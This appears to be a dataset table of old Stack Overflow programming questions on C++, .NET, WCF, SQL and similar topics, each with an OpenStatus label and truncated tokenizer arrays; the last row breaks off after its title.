unified_texts stringlengths 32 30.1k | OpenStatus_id int64 0 4 | input_ids list | token_type_ids list | attention_mask list |
|---|---|---|---|---|
"error: 'struct udphdr' has no member named 'source'" ... huh?
===
I'm trying to compile a program called ngrep, and when I ran configure, things seemed to go well, but when I run make, I get:
ngrep.c: In function ‘process’:
ngrep.c:544: error: ‘struct udphdr’ has no member named ‘source’
ngrep.c:545: error: ‘struct udphdr’ has no member named ‘dest’
make: *** [ngrep.o] Error 1
What does that mean, and how do I fix it? There are no earlier warnings or errors that suggest the root of the problem. | 0 | [
2,
13,
7,
29992,
45,
13,
22,
10346,
13,
3192,
3971,
3807,
22,
63,
90,
322,
377,
13,
22,
12097,
22,
7,
13,
9,
9,
9,
11476,
60,
800,
3726,
3726,
31,
22,
79,
749,
20,
26561,
21,
625,
227,
13,
2723,
99,
306,
15,
17,
76,
31,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Do c++ static libraries without mfc that are linked to an MFC project throw bad_alloc or CMemoryException*?
===
I'm working on a large, aging code base for an MFC app. The code has been worked on by many developers over time, and as a result, we have three different ways throughout the code of dealing with the possibility of an allocation failure with new.
The first way is to test for NULL on the result of new. We don't use nothrownew.obj so this is clearly an error that needs to be cleaned up.
The second is to catch CMemoryException* (yes, C++ exceptions are enabled in the compiler). From what I understand, MFC overrides the standard operator new, and throws this thing instead. I am fairly certain that this second method is correct in the MFC application itself. MFC overrides new, with its strange CMemoryException throwing version.
The last comes from our base of people who are good with C++, but aren't neccessarily MFC programmers. They are catching const std::bad_alloc&.
What I really don't know is what to expect for static libraries linked into the application. This is were the vast majority of the code that uses bad_alloc lives. Assuming these libraries are not compiled with MFC or ATL, and are written in standard C++ only, can they expect to catch bad_alloc? Or will the presence of MFC in the application they link to infect them with the global new operator and render their attempts to fail cleanly on a bad allocation moot?
If you have an answer, could you explain how this works, or point me to the right reference to sort this out? | 0 | [
2,
107,
272,
20512,
12038,
8649,
366,
307,
7061,
30,
50,
4727,
20,
40,
307,
7061,
669,
3814,
896,
1,
192,
10799,
54,
2390,
1503,
7159,
10066,
872,
2483,
60,
800,
3726,
3726,
31,
22,
79,
638,
27,
21,
370,
15,
13,
7426,
1797,
1000... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Boost phoenix or lamba library problem: removing elements from a std::vector.
===
I recently ran into a problem that I thought boost::lambda or boost::phoenix could help be solve, but I was not able to get the syntax right and so I did it another way. What I wanted to do was remove all the elements in "strings" that were less than a certain length and not in another container.
This is my first try:
std::vector<std::string> strings = getstrings();
std::set<std::string> others = getothers();
strings.erase(std::remove_if(strings.begin(), strings.end(), (_1.length() < 24 && others.find(_1) == others.end())), strings.end());
How I ended up doing it was this:
struct Discard
{
bool operator()(std::set<std::string> &cont, const std::string &s)
{
return cont.find(s) == cont.end() && s.length() < 24;
}
};
lines.erase(std::remove_if( lines.begin(), lines.end(), boost::bind<bool>(Discard(), old_samples, _1)), lines.end()); | 0 | [
2,
10419,
6014,
54,
8624,
58,
1248,
1448,
45,
9096,
2065,
37,
21,
354,
43,
45,
45,
28033,
9,
800,
3726,
3726,
31,
1989,
717,
77,
21,
1448,
30,
31,
289,
10419,
45,
45,
24187,
54,
10419,
45,
45,
9906,
219,
4028,
110,
448,
44,
84... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
ClickOnce: getting MSVCRT C++ DLLs on user's machine
===
I've been trying desperately to get my application (15 C# dlls and 1 C++/CLI dll with C++ Runtime DLL dependencies) to deploy with ClickOnce. I got it to work by <a href="http://msdn.microsoft.com/en-us/library/ms235291(VS.80).aspx">just copying the Release folder</a>, but ClickOnce refuses to copy the files (msvcm80.dll, msvcp80.dll and msvcr80.dll) and deploy them in this folder.
I did this nutty workaround (supply msvcm80.dll, msvcp80.dll and msvcr80.dll as Content/Copy If Newer and then at startup, create the Microsoft.VC80.CRT folder, copy those DLLs, and create Microsoft.VC80.CRT.manifest) that seems to work, but this all just feels wrong to me.
Am I missing something? | 0 | [
2,
10840,
13120,
45,
1017,
4235,
8990,
5256,
272,
20512,
13,
43,
211,
18,
27,
4155,
22,
18,
1940,
800,
3726,
3726,
31,
22,
195,
74,
749,
9832,
20,
164,
51,
3010,
13,
5,
1193,
272,
5910,
13,
43,
211,
18,
17,
137,
272,
20512,
11... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
WCF Service error with Anonymous access
===
I am in my rookie season with WCF Services...
I was running my first Unit Test with a WCF Service and I received the following error:
> Test method
> ApprovalRoutingTest.RoutingServiceUnitTest.CreateRoutingRequestThroughService
> threw exception:
> System.ServiceModel.Security.MessageSecurityException:
> The HTTP request is unauthorized with
> client authentication scheme
> 'Anonymous'. The authentication header
> received from the server was
> 'Negotiate,NTLM'. --->
> System.Net.WebException: The remote
> server returned an error: (401)
> Unauthorized..
I am hosting the WCF service in IIS 6.0 on a Windows XP SP3 machine. I have both the "Anonymous Access" and "Integrated Windows authentication" checked for the WCF service virtual directory.
Here is my config file for the service:
<system.serviceModel>
<services>
<service
behaviorConfiguration="Service1Behavior"
name="Service1"
>
<endpoint
address=""
binding="wsHttpBinding"
contract="IService1"
>
<identity>
<dns value="localhost" />
</identity>
</endpoint>
<endpoint
address="mex"
binding="mexHttpBinding"
contract="IMetadataExchange"
/>
</service>
</services>
<behaviors>
<serviceBehaviors>
<behavior name="Service1Behavior">
<serviceMetadata httpGetEnabled="true" />
<serviceDebug includeExceptionDetailInFaults="false" />
</behavior>
</serviceBehaviors>
</behaviors>
</system.serviceModel> | 0 | [
2,
11801,
410,
365,
7019,
29,
10364,
1381,
800,
3726,
3726,
31,
589,
19,
51,
7959,
198,
29,
11801,
410,
687,
9,
9,
9,
31,
23,
946,
51,
64,
1237,
1289,
29,
21,
11801,
410,
365,
17,
31,
420,
14,
249,
7019,
45,
13,
1,
1289,
210... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Is making an empty string constant worth it?
===
I have a cow-orker that swears by
//in a singleton "Constants" class
public static final String EMPTY_STRING = "";
in a constants class available throughout the project. That way, we can write something like
if (Constants.EMPTY_STRING.equals(otherString)) {
...
}
instead of
if ("".equals(otherString)) {
...
}
I say it's
1. not worth it--it doesn't save any space in the heap/stack/string pool,
2. ugly, and
3. an abuse of a constants class.
Who is the idiot here? | 0 | [
2,
25,
544,
40,
2424,
3724,
3587,
2715,
32,
60,
800,
3726,
3726,
31,
57,
21,
4539,
8,
248,
2429,
30,
6688,
18,
34,
12894,
108,
21,
345,
444,
13,
7,
29639,
18,
7,
718,
317,
12038,
426,
3724,
2424,
1,
11130,
800,
13,
7,
7,
73,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Need help with multicast udp server discovery in c#
===
As kind of a followup to [this question][1] I've gotten a solution working on my local machine, but not on a machine on the network.
I don't know too much about sockets other than that basics, so bear with me. The goal is for a client to look for a server on a local network, and this is the result of some cut/paste/edit code.
[1]: http://stackoverflow.com/questions/210446/what-is-the-best-way-for-a-client-app-to-find-a-server-on-a-local-network-in-c
This is the client code:
IPEndPoint ipep = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 10294);
byte[] data = new byte[1024];
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
client.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.MulticastTimeToLive, 10);
string welcome = "What's your IP?";
data = Encoding.ASCII.GetBytes(welcome);
client.SendTo(data, data.Length, SocketFlags.None, ipep);
IPEndPoint server = new IPEndPoint(IPAddress.Any, 0);
EndPoint tmpRemote = (EndPoint)server;
data = new byte[1024];
int recv = client.ReceiveFrom(data, ref tmpRemote);
this.IP.Text = ((IPEndPoint)tmpRemote).Address.ToString(); //set textbox
this.Port.Text = Encoding.ASCII.GetString(data, 0, recv); //set textbox
client.Close();
}
This is the server code:
int recv;
byte[] data = new byte[1024];
IPEndPoint ipep = new IPEndPoint(IPAddress.Any, 10294);
Socket newsock = new Socket(AddressFamily.InterNetwork,
SocketType.Dgram, ProtocolType.Udp);
newsock.Bind(ipep);
newsock.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.AddMembership, new MulticastOption(IPAddress.Any,IPAddress.Parse("127.0.0.1")));
while (true)
{
Console.WriteLine("Waiting for a client...");
IPEndPoint sender = new IPEndPoint(IPAddress.Any, 0);
EndPoint tmpRemote = (EndPoint)(sender);
data = new byte[1024];
recv = newsock.ReceiveFrom(data, ref tmpRemote);
Console.WriteLine("Message received from {0}:", tmpRemote.ToString());
Console.WriteLine(Encoding.ASCII.GetString(data, 0, recv));
string welcome = "7010";
data = Encoding.ASCII.GetBytes(welcome);
newsock.SendTo(data, data.Length, SocketFlags.None, tmpRemote);
}
It works find on my local machine (both server and client) but when I try another machine on the same network I get "An existing connection was forcibly closed by the remote host"
I realize I need to add a lot of try/catch but I'm just trying to get a handle on how this works first. | 0 | [
2,
376,
448,
29,
1889,
6146,
287,
7431,
8128,
4291,
19,
272,
5910,
800,
3726,
3726,
28,
825,
16,
21,
1740,
576,
20,
636,
1565,
1301,
500,
2558,
165,
500,
31,
22,
195,
4094,
21,
4295,
638,
27,
51,
375,
1940,
15,
47,
52,
27,
21,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
What is the most readable fixed width font that is widely available
===
Modelsim, an HDL simulator, allows you to specify the font used by the output. Fixed width fonts allow for more orderly output, but many fixed width fonts are not easy on the eyes. What would you recommend? I currently use Lucida Console. | 0 | [
2,
98,
25,
14,
127,
1302,
579,
3535,
9456,
9978,
30,
25,
2525,
904,
800,
3726,
3726,
2761,
1660,
15,
40,
8590,
255,
24565,
15,
2965,
42,
20,
19077,
14,
9978,
147,
34,
14,
5196,
9,
3535,
9456,
9978,
18,
1655,
26,
91,
389,
102,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Best table / enum driven method calling system
===
Consider I'm interfacing with an external system that will send a message (DB table, message queue, web service) in some format. In the "message header" there is the "MessageType" that is a number from 1 to 20. The MessageType defines what to do with the rest of the message. There are things like new, modified, deleted, canceled...
My first inclination was to setup an enumeration and define all the types. Then parse the number into an enum type. With it as an enum I would setup the typical switch case system and call a particular method for each of the message types.
For 12 or so MessageTypes this seems quite reasonable. For 20 maybe still so. What if it gets to 100?
One big concern is maintenance.
A switch / case system is bulky and teadious but, it's really simple.
Various table / configuration systems can be difficult for someone else to grok and add new messages or tweak existing messages.
What kinds of systems are considered best for handling these types of problems?
I'm setting a tag for both C# and Java here because it's definitly a common problem. There are many other languages with the same issue.
| 0 | [
2,
246,
859,
13,
118,
1957,
723,
5355,
2109,
2555,
329,
800,
3726,
3726,
3563,
31,
22,
79,
1480,
17231,
29,
40,
4886,
329,
30,
129,
2660,
21,
2802,
13,
5,
9007,
859,
15,
2802,
22521,
15,
2741,
365,
6,
19,
109,
2595,
9,
19,
14,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
How to correctly use SetWindowsHookEx & CallNextHookEx
===
I can correctly setup up a windows hook, but I get confused by the line in MSDN that says "Calling the CallNextHookEx function to chain to the next hook procedure is optional, but it is highly recommended; otherwise, other applications that have installed hooks will not receive hook notifications and may behave incorrectly as a result. You should call CallNextHookEx unless you absolutely need to prevent the notification from being seen by other applications.".
I want to be a good programming citizen and call the next hook. But, my hook procedure looks like this:
LRESULT CALLBACK CBTProc(int code, WPARAM wp, LPARAM lp)
{
if (code != HCBT_CREATEWND)
{
// What do I do here? It's not the event I requested so how do I pass it on?
return 0;
}
// It's the code we want (create window)
CallNextHookEx(...);
...
}
So, what happens in the hook procedure if the code isn't the one I'm interested in? How do I call the next hook? | 0 | [
2,
184,
20,
12044,
275,
309,
27508,
18,
20378,
1706,
279,
645,
20021,
20378,
1706,
800,
3726,
3726,
31,
92,
12044,
18161,
71,
21,
1936,
5559,
15,
47,
31,
164,
4230,
34,
14,
293,
19,
4235,
43,
103,
30,
898,
13,
7,
9200,
68,
14,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Filter EntityDataSource on Association value
===
I really like Entity Framework, but there are some key pieces that are a challenge to me. Can anyone tell me how to filter an EntityDataSource on an Association column? EF hides the FK values and instead has an Association property. Given an Entity, Person, with a PersonType association, I would have expected something like this to work if I want to filter my Person Entity by Type:
GridDataSource.EntityTypeFilter = "it.PersonType.PersonTypeID = 1";
or
GridDataSource.Where = "it.PersonType.PersonTypeID = '1'";
or even
GridDataSource.WhereParameters.Add(new Parameter("it.PersonType.PersonTypeID", DbType.Object, "1"));
but none of those work. Anybody know how to do this? | 0 | [
2,
11945,
9252,
18768,
12097,
27,
607,
1923,
800,
3726,
3726,
31,
510,
101,
9252,
6596,
15,
47,
80,
50,
109,
1246,
2491,
30,
50,
21,
2404,
20,
55,
9,
92,
1276,
494,
55,
184,
20,
11945,
40,
9252,
18768,
12097,
27,
40,
607,
4698,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Monkey patch flex framework when loaded as an RSL?
===
I want to load the flex framework as an RSL (SWZ, using player caching) but I need to monkey patch a couple of bug fixes in the framework.
A number of forums suggest this is not possible. Has anyone gotten this to work? | 0 | [
2,
11861,
7331,
14409,
6596,
76,
8572,
28,
40,
13,
1224,
255,
60,
800,
3726,
3726,
31,
259,
20,
6305,
14,
14409,
6596,
28,
40,
13,
1224,
255,
13,
5,
18,
499,
380,
15,
568,
517,
1658,
7192,
6,
47,
31,
376,
20,
11861,
7331,
21,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Why specify primary/foreign key attributes in column names
===
A couple of recent questions discuss strategies for naming columns, and I was rather surprised to discover the concept of embedding the notion of foreign and primary keys in column names. That is
select t1.col_a, t1.col_b, t2.col_z
from t1 inner join t2 on t1.id_foo_pk = t2.id_foo_fk
I have to confess I have never worked on any database system that uses this sort of scheme, and I'm wondering what the benefits are. The way I see it, once you've learnt the N principal tables of a system, you'll write several orders of magnitude more requests with those tables.
To become productive in development, you'll need to learn which tables are the important tables, and which are simple tributaries. You'll want to commit an good number of column names to memory. And one of the basic tasks is to join two tables together. To reduce the learning effort, the easiest thing to do is to ensure that the column name is the same in both tables:
select t1.col_a, t1.col_b, t2.col_z
from t1 inner join t2 on t1.id_foo = t2.id_foo
I posit that, as a developer, you don't need to be reminded that much about which columns are primary keys, which are foreign and which are nothing. It's easy enough to look at the schema if you're curious. When looking at a random
tx inner join ty on tx.id_bar = ty.id_bar
... is it all that important to know which one is the foreign key? Foreign keys are important only to the database engine itself, to allow it to ensure referential integrity and do the right thing during updates and deletes.
What problem is being solved here? (I know this is an invitation to discuss, and feel free to do so. But at the same time, I *am* looking for an answer, in that I may be genuinely missing something). | 0 | [
2,
483,
19077,
1256,
118,
28292,
1246,
13422,
19,
4698,
1817,
800,
3726,
3726,
21,
1335,
16,
1764,
2346,
5990,
10272,
26,
10929,
7498,
15,
17,
31,
23,
864,
2948,
20,
6297,
14,
2420,
16,
11911,
69,
3258,
14,
7834,
16,
1228,
17,
125... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
What do you use for web development and why you think it rocks?
===
Here's my new project: an open canvas, right in front of me. In a few days, I will start to code a big web application. It will start small, with few modules, only myself as developer and engineer, but hopefully it will grow and grow.
Even though I am an active Java Developer, It's been a while since I last created a Web Application from scratch. At the time, Struts and J2EE was the way to go, but I see a lot of new frameworks, new libraries raising everyday.
What I ask here is for your advice: what do you currently use for web development, why do you think it's relevant and if you would choose the same tools if you were starting on a new project. Everything counts: from tips on the UI to the backend. Common gotchas, patterns, everything you can think may be relevant.
I am a Java developer and, I am naturally inclined to do everything using Java-related technologies (J2SE, J2EE, Groovy, Grails, JRuby, Jython, JWhatever, and so on...), but please be welcome to post whatever you use, being related to Java or not.
My goal here is to build a bucket of what people are doing and why they are doing to help me evaluate which way should I go, and which I shouldn't - and why. After all, it's not everyday that you have such freedom to decide.
Thanks in advance! | 0 | [
2,
98,
107,
42,
275,
26,
2741,
522,
17,
483,
42,
277,
32,
4860,
60,
800,
3726,
3726,
235,
22,
18,
51,
78,
669,
45,
40,
368,
9696,
15,
193,
19,
431,
16,
55,
9,
19,
21,
310,
509,
15,
31,
129,
799,
20,
1797,
21,
580,
2741,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
How can I write a wrapper around ngrep that highlights matches?
===
I just learned about [ngrep](http://ngrep.sourceforge.net/), a cool program that lets you easily sniff packets that match a particular string.
The only problem is that it can be hard to find the match in the big blob of output. I'd like to write a wrapper script for this purpose -- it could use ANSI escape sequences:
echo -e 'This is \e[31mRED\e[0m.'
I'm most familiar with Perl, but I'm perfectly happy with a solution in Python or any other language. The simplest approach would be something like:
while (<STDIN>) {
s/$keyword/\e[31m$keyword\e[0m/g;
print;
}
However, this isn't a nice solution, because ngrep prints out hash marks without newlines whenever it receives a non-matching packet, and the code above will suppress the printing of these hashmarks until the script sees a newline.
Is there any way to do the highlighting without inhibiting the instant appearance of the hashmarks? | 0 | [
2,
184,
92,
31,
2757,
21,
28051,
140,
13,
2723,
99,
306,
30,
13046,
1717,
60,
800,
3726,
3726,
31,
114,
2691,
88,
636,
2723,
99,
306,
500,
5,
21127,
6903,
2723,
99,
306,
9,
12097,
1106,
834,
9,
2328,
118,
6,
15,
21,
2700,
625,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Using XQuery in Linq To SQL?
===
Let's say I have a table that has a column of XML type data. Within SQL, I can execute the following statement:
select top 10 *,
Content.value('(/root/item/value)[1]', 'float') as Value
from xmltabletest
where Content.value('(/root/item/MessageType)[1]', 'int') = 1
The result set contains only the records matching the criteria, and it extracts a value from the XML into a column called 'Value'. Nice and simple.
Can the same thing be achieved with Linq To SQL?
I'd like to get SQL to do the heavy lifting and only return data matching my criteria rather than having to select, transfer, and then process a potentially massive chunk of data. As far as I can tell this isn't possible at the moment, but I thought I should ask.
(The environment is .NET 3.5, VS2008, SQL Server 2005 - if that helps) | 0 | [
2,
568,
993,
8190,
93,
19,
6294,
1251,
20,
4444,
255,
60,
800,
3726,
3726,
408,
22,
18,
395,
31,
57,
21,
859,
30,
63,
21,
4698,
16,
23504,
1001,
1054,
9,
363,
4444,
255,
15,
31,
92,
15644,
14,
249,
3331,
45,
5407,
371,
332,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
SEO for Ultraseek spider
===
